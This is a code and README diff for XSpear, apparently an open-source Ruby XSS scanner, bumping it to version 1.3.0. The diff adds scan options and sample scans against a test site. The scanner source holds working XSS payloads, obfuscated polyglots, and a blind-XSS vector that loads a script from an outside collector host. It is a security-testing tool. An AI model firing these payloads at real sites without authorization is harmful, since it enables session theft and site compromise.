+ {"accept-encoding"=>["gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], "accept"=>["*/*"], "user-agent"=>["Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"], "connection"=>["keep-alive"], "host"=>["testphp.vulnweb.com"]}
163
+ [ Response ]
164
+ {"server"=>["nginx/1.4.1"], "date"=>["Sun, 29 Dec 2019 13:54:36 GMT"], "content-type"=>["text/html"], "transfer-encoding"=>["chunked"], "connection"=>["keep-alive"], "x-powered-by"=>["PHP/5.3.10-1~lucid+2uwsgi2"]}
165
+ [H] [22:57:33] [200/OK] reflected <keygen autofocus onfocus=alert(45)>[param: cat][reflected onfocus XSS Code]
166
+ ...
167
+ you see report
168
+ ```
94
169
  ### Case by Case
95
170
  **Scanning XSS**
96
171
  ```
97
172
  $ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy"
98
173
  ```
99
174
 
100
- **json output(with silence mode)**
175
+ **Only JSON output**
101
176
  ```
102
- $ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy" -o json -v 1
177
+ $ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy" -o json -v 0
103
178
  ```
104
179
 
105
- **detail log**
106
- ```
107
- $ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy" -v 3
108
- ```
109
180
 
110
- **set thread**
181
+ **Set scanning thread**
111
182
  ```
112
183
  $ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -t 30
113
184
  ```
114
185
 
115
- **testing at selected parameters**
186
+ **Testing at selected parameters**
116
187
  ```
117
188
  $ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -p cat,test
118
189
  ```
119
190
 
120
- **testing blind xss**<br>
191
+ **Testing at all parameters**<br>
192
+ (This option is tested with or without reflection.)
193
+ ```
194
+ $ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -a
195
+ ```
196
+
197
+ **Testing blind xss(all params)**<br>
121
198
  (Should be used as much as possible because Blind XSS is everywhere)<br>
122
199
  ```
123
- $ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -b "https://hahwul.xss.ht"
200
+ $ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -b "https://hahwul.xss.ht" -a
124
201
 
125
202
  # Set your blind xss host. <-b options>
126
203
  ```
127
204
 
205
+ **for Pipeline**<br>
206
+ ```
207
+ $ xspear -u {target} -b "your-blind-xss-host" -a -v 0 -o json
208
+
209
+ # -u : target
210
+ # -b : testing blind xss
211
+ # -a : test all params(test to not reflected param)
212
+ # -v : verbose, not showing logs at value 1.
213
+ # -o : output optios, json!
214
+ ```
215
+ result json data
216
+ ```
217
+ {
218
+ "starttime": "2019-12-25 00:02:58 +0900",
219
+ "endtime": "2019-12-25 00:03:31 +0900",
220
+ "issue_count": 25,
221
+ "issue_list": [{
222
+ "id": 0,
223
+ "type": "INFO",
224
+ "issue": "DYNAMIC ANALYSIS",
225
+ "method": "GET",
226
+ "param": "cat",
227
+ "payload": "XsPeaR\"",
228
+ "description": "Found SQL Error Pattern"
229
+ }, {
230
+ "id": 1,
231
+ "type": "INFO",
232
+ "issue": "STATIC ANALYSIS",
233
+ "method": "GET",
234
+ "param": "-",
235
+ "payload": "<original query>",
236
+ "description": "Found Server: nginx/1.4.1"
237
+ }, {
238
+ "id": 2,
239
+ "type": "INFO",
240
+ "issue": "STATIC ANALYSIS",
241
+ "method": "GET",
242
+ "param": "-",
243
+ "payload": "<original query>",
244
+ "description": "Not set HSTS"
245
+ }, {
246
+ "id": 3,
247
+ "type": "INFO",
248
+ "issue": "STATIC ANALYSIS",
249
+ "method": "GET",
250
+ "param": "-",
251
+ "payload": "<original query>",
252
+ "description": "Content-Type: text/html"
253
+ }, {
254
+ "id": 4,
255
+ "type": "LOW",
256
+ "issue": "STATIC ANALYSIS",
257
+ "method": "GET",
258
+ "param": "-",
259
+ "payload": "<original query>",
260
+ "description": "Not Set X-Frame-Options"
261
+ }, {
262
+ "id": 5,
263
+ "type": "MIDUM",
264
+ "issue": "STATIC ANALYSIS",
265
+ "method": "GET",
266
+ "param": "-",
267
+ "payload": "<original query>",
268
+ "description": "Not Set CSP"
269
+ }, {
270
+ "id": 6,
271
+ "type": "INFO",
272
+ "issue": "REFLECTED",
273
+ "method": "GET",
274
+ "param": "cat",
275
+ "payload": "rEfe6",
276
+ "description": "reflected parameter"
277
+ }, {
278
+ "id": 7,
279
+ "type": "INFO",
280
+ "issue": "FILERD RULE",
281
+ "method": "GET",
282
+ "param": "cat",
283
+ "payload": "onhwul=64",
284
+ "description": "not filtered event handler on{any} pattern"
285
+ }
286
+ ....
287
+ , {
288
+ "id": 17,
289
+ "type": "HIGH",
290
+ "issue": "XSS",
291
+ "method": "GET",
292
+ "param": "cat",
293
+ "payload": "<audio src onloadstart=alert(45)>",
294
+ "description": "reflected HTML5 XSS Code"
295
+ }, {
296
+ "id": 18,
297
+ "type": "HIGH",
298
+ "issue": "XSS",
299
+ "method": "GET",
300
+ "param": "cat",
301
+ "payload": "<keygen autofocus onfocus=alert(45)>",
302
+ "description": "reflected onfocus XSS Code"
303
+ ....
304
+ }, {
305
+ "id": 24,
306
+ "type": "HIGH",
307
+ "issue": "XSS",
308
+ "method": "GET",
309
+ "param": "cat",
310
+ "payload": "<marquee onstart=alert(45)>",
311
+ "description": "triggered <marquee onstart=alert(45)>"
312
+ }]
313
+ }
314
+ ```
315
+ (Items marked as `triggered` are actually payloads that work in the browser.)
316
+
128
317
  etc...
129
318
 
130
319
  ### Sample log
@@ -143,32 +332,7 @@ __((_)(_)) /(/( /((_))(_))(()\
143
332
  {\\\\\\\\\\\\\BYHAHWUL\\\\\\\\\\\(0):::<======================-
144
333
  / \<
145
334
  \> [ v1.1.5 ]
146
- [*] analysis request..
147
- [-] [23:50:35] [200/OK] 'zfdfasdf' not reflected rEfe6
148
- [-] [23:50:35] [200/OK] 'cat' not reflected <script>alert(45)</script>
149
- [I] [23:50:35] [200/OK] [param: cat][Found SQL Error Pattern]
150
- [-] [23:50:35] [200/OK] 'zfdfasdf' not reflected <script>alert(45)</script>
151
- [-] [23:50:35] [200/OK] 'STATIC' not reflected
152
- [I] [23:50:35] [200/OK] reflected rEfe6[param: cat][reflected parameter]
153
- [*] creating a test query [for reflected 2 param + blind xss ]
154
- [*] test query generation is complete. [192 query]
155
- [*] starting XSS Scanning. [10 threads]
156
- ..snip..
157
- [I] [23:50:47] [200/OK] reflected xsp<frameset>
158
- [I] [23:50:47] [200/OK] reflected xsp<applet>
159
- [I] [23:50:48] [200/OK] reflected document.cookie.xspear
160
- [I] [23:50:48] [200/OK] reflected document.location.xspear
161
- [-] [23:50:48] [200/OK] 'cat' not reflected <svg/onload=alert(45)>
162
- [H] [23:50:50] [200/OK] reflected <keygen autofocus onfocus=alert(45)>[param: cat][reflected onfocus XSS Code]
163
- [-] [23:50:55] [200/OK] 'cat' not found alert/prompt/confirm event <xmp><p title="</xmp><svg/onload=alert(45)>">
164
- [V] [23:50:56] [200/OK] found alert/prompt/confirm (45) in selenium!! <script>alert(45)</script>[param: cat][triggered <script>alert(45)</script>]
165
- [H] [23:50:56] [200/OK] found alert/prompt/confirm (45) in selenium!! <marquee onstart=alert(45)>[param: cat][triggered <marquee onstart=alert(45)>]
166
- [H] [23:50:57] [200/OK] found alert/prompt/confirm (45) in selenium!! <details/open/ontoggle="alert(45)">[param: cat][triggered <details/open/ontoggle="alert(45)">]
167
- [H] [23:50:58] [200/OK] found alert/prompt/confirm (45) in selenium!! <audio src onloadstart=alert(45)>[param: cat][triggered <audio src onloadstart=alert(45)>]
168
- [-] [23:50:59] [200/OK] 'cat' not found alert/prompt/confirm event '"><svg/onload=alert(45)>
169
- [-] [23:50:59] [200/OK] 'cat' not found alert/prompt/confirm event <svg(0x0c)onload=alert(1)>
170
- [V] [23:51:00] [200/OK] found alert/prompt/confirm (45) in selenium!! '"><svg/onload=alert(45)>[param: cat][triggered <svg/onload=alert(45)>]
171
- ...snip..
335
+ ...snip...
172
336
  [*] finish scan. the report is being generated..
173
337
  +----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+
174
338
  | [ XSpear report ] |
@@ -343,3 +507,6 @@ Everyone interacting in the XSpear project’s codebases, issue trackers, chat r
343
507
  <img src="https://user-images.githubusercontent.com/13212227/63032409-b8996580-bef0-11e9-93cd-dbabbd5f4ea1.png" width=100%>
344
508
  < JSON Report >
345
509
  <img src="https://user-images.githubusercontent.com/13212227/63032411-b8996580-bef0-11e9-8aee-0b80fe87f50d.png" width=100%>
510
+
511
+ ## Video
512
+ [![asciicast](https://asciinema.org/a/290126.svg)](https://asciinema.org/a/290126)
data/XSpear.gemspec CHANGED
@@ -37,10 +37,12 @@ Gem::Specification.new do |spec|
37
37
  spec.add_runtime_dependency "colorize", "~> 0.8.1"
38
38
  spec.add_runtime_dependency "selenium-webdriver", "~> 3.142.3"
39
39
  spec.add_runtime_dependency "terminal-table", "~> 1.8.0"
40
+ spec.add_runtime_dependency "progress_bar", "~> 2.3.2"
40
41
 
41
42
  spec.add_development_dependency "colorize", "~> 0.8.1"
42
43
  spec.add_development_dependency "selenium-webdriver", "~> 3.142.3"
43
44
  spec.add_development_dependency "terminal-table" , "~> 1.8.0"
45
+ spec.add_development_dependency "progress_bar", "~> 2.3.2"
44
46
  spec.add_development_dependency "bundler", "~> 2.0"
45
47
  spec.add_development_dependency "rake", "~> 10.0"
46
48
  spec.add_development_dependency "rspec", "~> 3.0"
data/config.json ADDED
@@ -0,0 +1,9 @@
1
+ {
2
+ "blind":"",
3
+ "headers":"",
4
+ "cookie":"",
5
+ "thread":"",
6
+ "output":"",
7
+ "verbose":"",
8
+ "all":false
9
+ }
data/exe/XSpear CHANGED
@@ -1,11 +1,11 @@
1
1
  #!/usr/bin/env ruby
2
+ require "XSpear"
2
3
 
4
+ XOptions = Struct.new(:url, :data, :headers, :params, :options)
3
5
 
4
- require "XSpear"
5
- Options = Struct.new(:url, :data, :headers, :params, :options )
6
6
  class Parser
7
7
  def self.parse(options)
8
- args = Options.new('xspear')
8
+ args = XOptions.new('xspear')
9
9
  args.options = {}
10
10
  if options.empty?
11
11
  banner
@@ -13,7 +13,7 @@ class Parser
13
13
  exit
14
14
  end
15
15
  opt_parser = OptionParser.new do |opts|
16
- opts.banner = "Usage: xspear -u [target] -[options] [value]\n[ e.g ]\n$ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin'\n\n[ Options ]"
16
+ opts.banner = "Usage: xspear -u [target] -[options] [value]\n[ e.g ]\n$ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin' -v 1 -a \n$ xspear -u 'http://testphp.vulnweb.com/listproducts.php?cat=123' -v 2\n$ xspear -u 'http://testphp.vulnweb.com/listproducts.php?cat=123' -v 0 -o json\n\n[ Options ]"
17
17
 
18
18
 
19
19
  opts.on('-u', '--url=target_URL', '[required] Target Url') do |n|
@@ -48,7 +48,6 @@ class Parser
48
48
  args.options['params'] = n
49
49
  end
50
50
 
51
-
52
51
  opts.on('-b', '--BLIND=URL', '[optional] Add vector of Blind XSS',' + with XSS Hunter, ezXSS, HBXSS, etc...',' + e.g : -b https://hahwul.xss.ht') do |n|
53
52
  args.options['blind'] = n
54
53
  end
@@ -59,15 +58,18 @@ class Parser
59
58
  end
60
59
 
61
60
 
62
- opts.on('-o', '--output=FILENAME', '[optional] Save JSON Result') do |n|
61
+ opts.on('-o', '--output=FORMAT', '[optional] Output format (cli , json)') do |n|
63
62
  args.options['output'] = n
64
63
  end
65
64
 
65
+ opts.on('-c', '--config=FILENAME', '[optional] Using config.json') do |n|
66
+ args.options['config'] = n
67
+ end
66
68
 
67
- opts.on('-v', '--verbose=1~3', '[optional] Show log depth',
68
- ' + Default value: 2',
69
- ' + v=1 : quite mode',
70
- ' + v=2 : show scanning log',
69
+ opts.on('-v', '--verbose=0~3', '[optional] Show log depth',
70
+ ' + v=0 : quite mode(only result)',
71
+ ' + v=1 : show scanning status(default)',
72
+ ' + v=2 : show scanning logs',
71
73
  ' + v=3 : show detail log(req/res)') do |n|
72
74
  args.options['verbose'] = n
73
75
  end
@@ -151,10 +153,21 @@ end
151
153
 
152
154
  exit unless options.url
153
155
  options.options['thread'] = 10 unless options.options['thread']
154
- options.options['verbose'] = 2 unless options.options['verbose']
156
+ options.options['verbose'] = 1 unless options.options['verbose']
155
157
  options.options['thread'] = options.options['thread'].to_i
156
158
 
157
- if options.options['verbose'].to_i != 1
159
+ if !options.options['config'].nil?
160
+ f = File.open(options.options['config'])
161
+ buf = f.read
162
+ cjson = JSON.parse buf
163
+ cjson.each do |key,value|
164
+ if value.to_s.size > 0
165
+ options.options[key] = value
166
+ end
167
+ end
168
+ end
169
+
170
+ if options.options['verbose'].to_i != 0
158
171
  banner
159
172
  end
160
173
  s = XspearScan.new options.url, options.options
data/lib/XSpear/log.rb CHANGED
@@ -10,7 +10,16 @@ def log(t, message)
10
10
 
11
11
  # system message
12
12
  # [+] start parameter analysis..
13
- if @verbose.to_i > 1
13
+ # verbose 0 : only result
14
+ # verbose 1(default) : show progress
15
+ # verbose 2 : show normal log(info, payload)
16
+ # verbose 3 : show details log(info, payload, packets, etc..)
17
+
18
+ if @verbose.to_i == 1
19
+ if t == 's' # system message
20
+ puts '[*]'.green + " #{message}"
21
+ end
22
+ elsif @verbose.to_i > 1
14
23
  time = Time.now
15
24
  if t == 'd'
16
25
  puts '[-]'.white + " [#{time.strftime('%H:%M:%S')}] #{message}"
@@ -1,3 +1,3 @@
1
1
  module XSpear
2
- VERSION = "1.2.3"
2
+ VERSION = "1.3.0"
3
3
  end
data/lib/XSpear.rb CHANGED
@@ -7,6 +7,7 @@ require 'uri'
7
7
  require 'optparse'
8
8
  require 'colorize'
9
9
  require "selenium-webdriver"
10
+ require "progress_bar"
10
11
 
11
12
  module XSpear
12
13
  class Error < StandardError; end
@@ -35,6 +36,7 @@ class XspearScan
35
36
  @filtered_objects = {}
36
37
  @reflected_params = []
37
38
  @param_check_switch = 0
39
+ @progress_bar = nil
38
40
  end
39
41
 
40
42
  class ScanCallbackFunc
@@ -172,7 +174,7 @@ class XspearScan
172
174
  d = c.split " "
173
175
  r = r+d[0]+" "
174
176
  end
175
- @report.add_issue("i","s","-","-","<original query>","Set CSP(#{r})")
177
+ @report.add_issue("i","s","-","-","<original query>","Enabled CSP")
176
178
  rescue
177
179
  @report.add_issue("i","s","-","-","<original query>","CSP ERROR")
178
180
  end
@@ -180,7 +182,6 @@ class XspearScan
180
182
  @report.add_issue("m","s","-","-","<original query>","Not Set CSP")
181
183
  end
182
184
 
183
-
184
185
  [false, "not reflected #{@query}"]
185
186
  end
186
187
  end
@@ -500,9 +501,9 @@ class XspearScan
500
501
 
501
502
 
502
503
  # Check Event Handler
503
- r.push makeQueryPattern('f', '\"><xspear onhwul=64>', 'onhwul=64', 'i', "not filtered event handler "+"on{any} pattern".blue, CallbackStringMatch)
504
+ r.push makeQueryPattern('f', '\"><xspear onhwul=64>', 'onhwul=64', 'i', "reflected EH "+"on{any} pattern".blue, CallbackStringMatch)
504
505
  event_handler.each do |ev|
505
- r.push makeQueryPattern('f', "\"<xspear #{ev}=64>", "#{ev}=64", 'i', "not filtered event handler "+"#{ev}=64".blue, CallbackNotAdded)
506
+ r.push makeQueryPattern('f', "\"<xspear #{ev}=64>", "#{ev}=64", 'i', "reflected EH "+"#{ev}=64".blue, CallbackNotAdded)
506
507
  end
507
508
 
508
509
 
@@ -541,18 +542,21 @@ class XspearScan
541
542
  r.push makeQueryPattern('x', "\"'><#{t} autofocus onfocus=alert(45)>", "<#{t} autofocus onfocus=alert(45)>", 'h', "reflected "+"onfocus XSS Code".red, CallbackStringMatch)
542
543
  end
543
544
 
544
-
545
545
  # Check Selenium Common XSS Payloads
546
546
  r.push makeQueryPattern('x', '"><script>alert(45)</script>', '<script>alert(45)</script>', 'v', "triggered ".yellow+"<script>alert(45)</script>".red, CallbackXSSSelenium)
547
547
  r.push makeQueryPattern('x', '"><svgonload=alert(45)>', '<svg(0x0c)onload=alert(1)>', 'v', "triggered ".yellow+"<svg(0x0c)onload=alert(1)>".red, CallbackXSSSelenium)
548
548
  r.push makeQueryPattern('x', '<xmp><p title="</xmp><svg/onload=alert(45)>">', '<xmp><p title="</xmp><svg/onload=alert(45)>">', 'v', "triggered ".yellow+"<xmp><p title='</xmp><svg/onload=alert(45)>'>".red, CallbackXSSSelenium)
549
549
  r.push makeQueryPattern('x', '\'"><svg/onload=alert(45)>', '\'"><svg/onload=alert(45)>', 'v', "triggered ".yellow+"<svg/onload=alert(45)>".red, CallbackXSSSelenium)
550
- r.push makeQueryPattern('x', '"\'><video/poster/onerror=alert(45)>', '<video/poster/onerror=alert(45)>', 'h', "triggered ".yellow+"<video/poster/onerror=alert(45)>".red, CallbackXSSSelenium)
551
- r.push makeQueryPattern('x', '"\'><details/open/ontoggle="alert(45)">', '<details/open/ontoggle="alert(45)">', 'h', "triggered ".yellow+"<details/open/ontoggle=\"alert(45)\">".red, CallbackXSSSelenium)
552
- r.push makeQueryPattern('x', '"\'><audio src onloadstart=alert(45)>', '<audio src onloadstart=alert(45)>', 'h', "triggered ".yellow+"<audio src onloadstart=alert(45)>".red, CallbackXSSSelenium)
553
- r.push makeQueryPattern('x', '"\'><marquee onstart=alert(45)>', '<marquee onstart=alert(45)>', 'h', "triggered ".yellow+"<marquee onstart=alert(45)>".red, CallbackXSSSelenium)
554
- r.push makeQueryPattern('x', '"\'><svg/whatthe=""onload=alert(45)>', '<svg/whatthe=""onload=alert(45)>', 'h', "triggered ".yellow+"<svg/whatthe=""onload=alert(45)>".red, CallbackXSSSelenium)
555
-
550
+ r.push makeQueryPattern('x', '"\'><video/poster/onerror=alert(45)>', '<video/poster/onerror=alert(45)>', 'v', "triggered ".yellow+"<video/poster/onerror=alert(45)>".red, CallbackXSSSelenium)
551
+ r.push makeQueryPattern('x', '"\'><details/open/ontoggle="alert(45)">', '<details/open/ontoggle="alert(45)">', 'v', "triggered ".yellow+"<details/open/ontoggle=\"alert(45)\">".red, CallbackXSSSelenium)
552
+ r.push makeQueryPattern('x', '"\'><audio src onloadstart=alert(45)>', '<audio src onloadstart=alert(45)>', 'v', "triggered ".yellow+"<audio src onloadstart=alert(45)>".red, CallbackXSSSelenium)
553
+ r.push makeQueryPattern('x', '"\'><marquee onstart=alert(45)>', '<marquee onstart=alert(45)>', 'v', "triggered ".yellow+"<marquee onstart=alert(45)>".red, CallbackXSSSelenium)
554
+ r.push makeQueryPattern('x', '"\'><svg/whatthe=""onload=alert(45)>', '<svg/whatthe=""onload=alert(45)>', 'v', "triggered ".yellow+"<svg/whatthe=""onload=alert(45)>".red, CallbackXSSSelenium)
555
+ # + in Javascript payloads
556
+ r.push makeQueryPattern('x', '\'+alert(45)+\'', 'alert(45)', 'v', "triggered ".yellow+"in JS".red, CallbackXSSSelenium)
557
+ r.push makeQueryPattern('x', '"+alert(45)+"', 'alert(45)', 'v', "triggered ".yellow+"in JS".red, CallbackXSSSelenium)
558
+ r.push makeQueryPattern('x', '\'%2Balert(45)%2B\'', 'alert(45)', 'v', "triggered ".yellow+"in JS".red, CallbackXSSSelenium)
559
+ r.push makeQueryPattern('x', '"%2Balert(45)%2B"', 'alert(45)', 'v', "triggered ".yellow+"in JS".red, CallbackXSSSelenium)
556
560
 
557
561
  # Check Selenium XSS Polyglot
558
562
  r.push makeQueryPattern('x', 'jaVasCript:/*-/*`/*\`/*\'/*"/**/(/* */oNcliCk=alert(45) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(45)//>\x3e', '\'"><svg/onload=alert(45)>', 'v', "triggered ".yellow+"XSS Polyglot payload".red, CallbackXSSSelenium)
@@ -560,8 +564,6 @@ class XspearScan
560
564
  r.push makeQueryPattern('x', 'javascript:"/*\'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert(45)//>', '\'"><svg/onload=alert(45)>', 'v', "triggered ".yellow+"XSS Polyglot payload".red, CallbackXSSSelenium)
561
565
 
562
566
 
563
-
564
-
565
567
  # Check Blind XSS Payload
566
568
  if !@blind_url.nil?
567
569
  r.push makeQueryPattern('f', "\"'><script src=#{@blind_url}></script>", "BLINDNOTDETECTED", 'i', "", CallbackNotAdded)
@@ -575,8 +577,9 @@ class XspearScan
575
577
  r = r.flatten
576
578
  log('s', "test query generation is complete. [#{r.length} query]")
577
579
  log('s', "starting XSS Scanning. [#{@thread} threads]")
578
-
579
-
580
+ if @verbose.to_i == 1
581
+ @progress_bar = ProgressBar.new(r.length)
582
+ end
580
583
  threads = []
581
584
  r.each_slice(@thread) do |jobs|
582
585
  jobs.map do |node|
@@ -622,7 +625,6 @@ class XspearScan
622
625
  # [x]ss
623
626
  # [s]tatic
624
627
  # [d]ynamic
625
-
626
628
  result = []
627
629
  if type == 's'
628
630
  if @data.nil?
@@ -664,10 +666,36 @@ class XspearScan
664
666
  end
665
667
  end
666
668
  end
669
+ if callback == CallbackXSSSelenium
670
+ begin
671
+ puri = URI.parse(@url)
672
+ puri.path = puri.path+URI.encode("/"+pattern)
673
+ result.push("inject": 'url',"param":"STATIC" ,"type": type, "query": puri.to_s, "pattern": "[PATH]", "desc": "[Path]"+desc, "category": category, "callback": callback)
674
+ puri = URI.parse(@url)
675
+ puri.path = puri.path+URI.encode(pattern)
676
+ result.push("inject": 'url',"param":"STATIC" ,"type": type, "query": puri.to_s, "pattern": "[PATH]", "desc": "[Path]"+desc, "category": category, "callback": callback)
677
+ rescue
678
+ # bypass
679
+ # if no slash end
680
+ end
681
+ end
667
682
  rescue StandardError
668
683
  # bypass
669
- # puts @data
670
- # puts e
684
+ # if no params
685
+
686
+ if callback == CallbackXSSSelenium
687
+ begin
688
+ puri = URI.parse(@url)
689
+ puri.path = puri.path+URI.encode("/"+pattern)
690
+ result.push("inject": 'url',"param":"STATIC" ,"type": type, "query": puri.to_s, "pattern": "[PATH]", "desc": "[Path]"+desc, "category": category, "callback": callback)
691
+ puri = URI.parse(@url)
692
+ puri.path = puri.path+URI.encode(pattern)
693
+ result.push("inject": 'url',"param":"STATIC" ,"type": type, "query": puri.to_s, "pattern": "[PATH]", "desc": "[Path]"+desc, "category": category, "callback": callback)
694
+ rescue
695
+ # bypass
696
+ # if no slash end
697
+ end
698
+ end
671
699
  end
672
700
  result
673
701
  end
@@ -675,7 +703,17 @@ class XspearScan
675
703
 
676
704
  def task(query, injected, pattern, callback)
677
705
  begin
678
- uri = URI.parse(@url)
706
+ if (!@progress_bar.nil?) && @verbose.to_i == 1
707
+ print "\r\r"
708
+ print "\r\r"
709
+ @progress_bar.increment!
710
+ end
711
+ uri = nil
712
+ if pattern == "[PATH]"
713
+ uri = URI.parse(query)
714
+ else
715
+ uri = URI.parse(@url)
716
+ end
679
717
  request = nil
680
718
  method = "GET"
681
719
  uri.query = query if injected == 'url'
@@ -716,6 +754,6 @@ class XspearScan
716
754
  end
717
755
  end
718
756
  rescue => e
719
- puts e
757
+ #puts e
720
758
  end
721
759
  end
metadata CHANGED
@@ -1,14 +1,14 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: XSpear
3
3
  version: !ruby/object:Gem::Version
4
- version: 1.2.3
4
+ version: 1.3.0
5
5
  platform: ruby
6
6
  authors:
7
7
  - hahwul
8
8
  autorequire:
9
9
  bindir: exe
10
10
  cert_chain: []
11
- date: 2019-12-23 00:00:00.000000000 Z
11
+ date: 2019-12-29 00:00:00.000000000 Z
12
12
  dependencies:
13
13
  - !ruby/object:Gem::Dependency
14
14
  name: colorize
@@ -52,6 +52,20 @@ dependencies:
52
52
  - - "~>"
53
53
  - !ruby/object:Gem::Version
54
54
  version: 1.8.0
55
+ - !ruby/object:Gem::Dependency
56
+ name: progress_bar
57
+ requirement: !ruby/object:Gem::Requirement
58
+ requirements:
59
+ - - "~>"
60
+ - !ruby/object:Gem::Version
61
+ version: 2.3.2
62
+ type: :runtime
63
+ prerelease: false
64
+ version_requirements: !ruby/object:Gem::Requirement
65
+ requirements:
66
+ - - "~>"
67
+ - !ruby/object:Gem::Version
68
+ version: 2.3.2
55
69
  - !ruby/object:Gem::Dependency
56
70
  name: colorize
57
71
  requirement: !ruby/object:Gem::Requirement
@@ -94,6 +108,20 @@ dependencies:
94
108
  - - "~>"
95
109
  - !ruby/object:Gem::Version
96
110
  version: 1.8.0
111
+ - !ruby/object:Gem::Dependency
112
+ name: progress_bar
113
+ requirement: !ruby/object:Gem::Requirement
114
+ requirements:
115
+ - - "~>"
116
+ - !ruby/object:Gem::Version
117
+ version: 2.3.2
118
+ type: :development
119
+ prerelease: false
120
+ version_requirements: !ruby/object:Gem::Requirement
121
+ requirements:
122
+ - - "~>"
123
+ - !ruby/object:Gem::Version
124
+ version: 2.3.2
97
125
  - !ruby/object:Gem::Dependency
98
126
  name: bundler
99
127
  requirement: !ruby/object:Gem::Requirement
@@ -161,6 +189,7 @@ files:
161
189
  - XSpear.gemspec
162
190
  - bin/console
163
191
  - bin/setup
192
+ - config.json
164
193
  - exe/XSpear
165
194
  - lib/XSpear.rb
166
195
  - lib/XSpear/XSpearRepoter.rb